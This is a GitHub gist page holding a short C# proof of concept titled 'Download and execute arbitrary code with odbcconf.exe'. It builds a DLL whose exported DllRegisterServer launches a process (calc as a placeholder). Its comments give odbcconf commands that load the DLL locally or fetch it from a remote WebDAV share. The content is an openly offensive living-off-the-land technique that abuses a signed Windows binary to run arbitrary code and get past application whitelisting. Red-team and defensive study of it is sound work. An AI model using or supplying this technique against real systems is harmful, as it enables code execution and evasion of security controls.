Skip to content

Instantly share code, notes, and snippets.

@Arno0x
Created November 22, 2017 15:30
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 11 You must be signed in to fork a gist
  • Save Arno0x/45043f0676a55baf484cbcd080bbf7c2 to your computer and use it in GitHub Desktop.
Save Arno0x/45043f0676a55baf484cbcd080bbf7c2 to your computer and use it in GitHub Desktop.
Download and execute arbitrary code with odbcconf.exe
/*
To use with odbcconf.exe:
odbcconf /S /A {REGSVR odbcconf.dll}
or, from a remote location (if WebDAV support enabled):
odbcconf /S /A {REGSVR \\webdavaserver\dir\odbcconf.dll}
*/
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using RGiesecke.DllExport;
namespace odbcconf
{
public class RegSvr
{
[DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)]
public static bool DllRegisterServer()
{
Process proc = Process.Start(new ProcessStartInfo { FileName = "calc" });
return true;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment